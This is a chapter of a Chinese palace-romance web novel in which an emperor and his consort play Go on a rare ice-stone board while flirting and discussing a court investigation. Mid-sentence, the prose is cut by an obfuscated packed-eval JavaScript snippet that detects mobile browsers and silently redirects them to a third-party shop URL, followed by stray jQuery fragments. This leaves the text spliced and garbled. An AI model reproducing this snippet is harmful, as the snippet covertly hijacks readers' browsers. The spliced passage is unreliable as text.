盒中是一副棋盘,乍一看通体透明,像是一块凝固的寒冰,在日光下折射出淡淡的光晕。
郑德在一旁适时开口:“小主请看,这棋盘是以千年寒潭底的冰魄石整料琢磨而成。此石深蕴极寒,采掘时需避天光,于暗室中以冰水缓琢,稍有不慎便会冰裂纹生,百年才得一块。”
沈怀瑾凑近细看,发现棋盘并非全然透明,内里隐隐流转着一层淡蓝色的光晕,像是有活水在其中涌动。
“小主请试着落一子。”
沈怀瑾执起一子落下,只见那枚棋子落处,有涟漪向四周荡开,像是在冰湖上投下了一颗石子。
沈怀瑾的呼吸微微一滞。她见过的棋盘不计其数,却从未见过这样的。
“匠人在石心作了极精细的镂空,注入了水银。稍有不慎便前功尽弃。匠人打磨这棋盘,废了三十七块冰魄石,才成了这一块。前后耗时两年,才算完工。”
他又示意那对古朴的磁石棋罐:“这罐子是天然生成的阴阳鱼形磁石,黑白二子也非凡品。白子乃雪山冰髓玉,触手生凉,内蕴雪意;黑子是火山熔心曜石,入手温润,暗藏金辉。置于罐中,自有磁力相引,秩序井然。”
“冰髓玉与熔心曜石皆非开采可得,需机缘巧合在特定地理变动中采集,存世极少。一寒一热,一阴一阳,相生相克,天造地设!”郑德笑道,“陛下登基后,雪桑国为陛下耗时两年打造,作为贺礼,陛下一直珍藏着,舍不得拿出来用呢!”
萧景焕始终站在一旁,没有说话,只是含笑望着沈怀瑾。
他看着沈怀瑾抚摸棋子时指尖不自觉的流连,看着她眼底一闪而过的惊艳与渴望。
“这棋盘自雪桑贡上后在库房里躺了四年。郑德问过朕几回,要不要拿出来用,朕总说再等等。”他看向她,语气温柔,“如今朕才明白,原来是在等怀瑾。毕竟妙器如良驹,须得知音赏识,方不负巧匠心血。”
沈怀瑾抬眸看向他。
他知道她从小就喜欢下棋。她在军中与他对弈过无数回,那时她棋艺不如现在厉害,但是也是棋风凌厉、杀伐果决,从来不是什么“棋艺不精”。
而这副棋盘,所有元素都精准地嵌合了她的喜好。
“多谢陛下厚爱。”她语气温婉,唇边绽开柔婉感激的笑意,“此物……精妙绝伦,臣妾今日方知何为巧夺天工。”
“喜欢就好。”萧景焕只温和道,他看向那副棋盘,“难得有这样的好棋盘,朕与怀瑾手谈一局,如何?”
他摆摆手,郑德躬身退下。
雪盏和静棠仍立在原处,目光悄悄落在沈怀瑾身上。沈怀瑾察觉到她们的注视,微微颔首。她们对视一眼,眼底仍有一丝挥之不去的忧色,却还是依言退了出去。
殿门合上,室内只余二人。
沈怀瑾在萧景焕对面坐下,静静等着萧景焕主动执黑。上次对弈,萧景焕手起执黑,手落星位,姿态是何等不容置喙的霸道。
然而萧景焕这次却径直将盛着温润曜石黑子的磁罐轻轻推到沈怀瑾面前。他自己则执起那罐冰凉剔透的冰髓玉白子。
“今日怀瑾执黑先行。”他说,语气里带着几分纵容。
沈怀瑾微微一怔,随即垂眸,拈起一枚黑子。
上次是沈怀瑾入宫以来第一次与萧景焕下棋,那时她还在装名门淑女,故意藏拙示弱。这一回不再藏拙,她才发现萧景焕的棋风和他这个人一样——看似云淡风轻,信手拈来,实则每一步都暗藏经纬,留有从容的后手。
殿内一时只有棋子起落的轻响。沈怀瑾落下一子,封住一角后,终是抬起眼,状似不经意地开口:“昨日锦绣阁所见所闻,实在是令人惊讶……不知陛下可有查出什么眉目?”
“朕暂且还在暗里查,不想打草惊蛇。”萧景焕目光并未从棋盘上移开,“但已经查证,庄妃的兄长便是那锦绣阁背后真正的大东家。”
沈怀瑾捏着黑子的手指微微一紧:“那庄妃……”
“与庄妃有没有干系,还在查实。”萧景焕抬起眼看向她,“此事牵连甚广,急不得。”
沈怀瑾点了点头,垂眸落下一子,带着一丝试探性的凌厉,径直刺入白棋看似稳固的边角阵地,挑起无声的烽烟。
“陛下今日为何忽然想下棋?”她漫不经心问道。
萧景焕闻言,抬眸看向她,目光在她温婉却难掩一丝紧绷的眉眼间流连片刻。
“因为,”他声音低沉,不紧不慢,“朕想和你多待一会儿。”
“这个答案,怀瑾满意吗?”他语气温柔,落下一子,目光却未曾从她脸上移开。
沈怀瑾垂眸,看着棋盘上那枚白子的位置,这人话语缱绻,落子却是狠厉,不偏不倚,不仅让她先前那手突袭的后续手段难以为继,更反过来让她中腹的发展感受到了隐约的威胁。
她没有回答,也没有去救那枚被截断的黑子,只是拈起一枚黑子,手腕轻转,像是全然不在意他的攻势,兀自另辟天地。
“怀瑾,这两日……你有没有想过朕?”萧景焕手中的白子也随话音落下,不是跟着她的黑子开辟的新局,而是顺着方才的攻势,直直地切入她的腹地,步步紧逼,毫不留情。
“当然想过。”沈怀瑾的睫毛轻轻颤了颤。她又落一子,却没有去救被围困的那块黑棋,反而继续在之前落子的方向继续布局。
“哦?”萧景焕执起白子,跟着她的方向落下,攻势凌厉,语气里带着几分玩味,“那……想朕哪里?”
“想陛下那日在摘星阁,将臣妾护在身下。”她垂眸,声音轻了几分,“臣妾那时候慌乱失措,幸得陛下庇护才能安然无恙。现时想来仍觉陛下宽肩伟岸,臣妾躲在后面,便什么都不怕。”
“后来又想,陛下心思当真缜密。锦绣阁的事,臣妾只瞧出些许端倪,陛下却已将前因后果摸得一清二楚。”她抬眸浅笑,“陛下总夸臣妾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052935|187123||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
聪慧,可臣妾觉得,在陛下面前,自己这点微末心思就如同棋盘上的子,看似有路可走,实则步步都在陛下算中。”
她将手中的黑子在指尖轻轻转了转,眼波流转,语气娇软了几分:“还请陛下指点臣妾,这棋该如何下才好?”
萧景焕听着她这一番仰慕的言语,心中掠过一丝异样。这丫头平日里嘴硬得很,动不动就跟他呛声,何曾这般服软过?
今日不仅乖巧,还一口一个“陛下英明”,虽说有些反常,但听着却像羽毛般轻轻搔刮在萧景焕心尖最受用的那处,带来一阵舒坦的愉悦。
他压下那点细微的疑惑,只当她是经了前几日一事心有感怀,又见棋盘精巧,心绪格外柔软些。
萧景焕目光落回棋盘,顺着她求教的姿态指点道:“怀瑾棋力不弱,只是有时过于求稳。棋如兵势,当进则进。譬如这一处,”他修长的手指虚点棋盘一角,“你若能舍弃边角些许实地,转而由此处突进,反能搅乱局面,开阔中腹。”
说着,他手中白子已凌厉落下,直逼她的黑龙腹地。
“这样么?”她轻声应道,抬手去拈棋子。因那进攻方向正指向萧景焕那半边的棋盘,她将身子略略前倾,手臂越过棋枰中段。
似是为了更方便动作,她另一只手自然地捋起了宽大袖口,一截雪白纤细的手腕便露了出来。她探出的指尖不经意地轻轻擦过了萧景焕虚按在棋盘边缘的手背。
那触感微凉,一掠而过,却像带着细小的钩刺。
萧景焕心尖蓦地一缩,随即漾开一阵猝不及防的酥麻痒意。他抬眼,看向近在咫尺的沈怀瑾。她长睫如蝶翼般轻轻颤动。那截皓腕还在眼前,白的晃眼。
萧景焕压下心头陡然窜起的那簇火苗,强迫自己将注意力拉回棋局。他执起白子,声音不自觉地低沉了几分:“此子虽勇,却过于冒进了。孤军深入,若无后援,易遭围剿。”
他落下一子,堵住了她的退路:“用兵之道,有时以退为进,方为上策。”
沈怀瑾盯着棋盘,心头火气腾地一下窜了上来。这人当真专制霸道!
退?进?全是他说了算!先前嫌她保守要她进攻,如今她依言奋起直追,他又来教训她冒进,要她以退为进!
退,又退到哪里?又退到何时?她偏不退!
她拈起一枚黑子,非但没有后退,反而往那一个更冒进的位置而去,直直地杀入他白棋的心脏地带。
“那这一子呢?”
就在棋子即将落下的刹那——
一只修长有力的手,带着不容抗拒的温热度,骤然覆上了她的手背。
温热的掌心紧贴着她的肌肤,将她的手整个包裹,连同那枚即将落下的棋子,一同稳稳按住,定在半空。
沈怀瑾浑身一僵。
“怀瑾丫头,”他低沉的声音在她耳畔响起,带着一丝若有若无的沙哑,“这子落下去,可就把自己送给朕了。”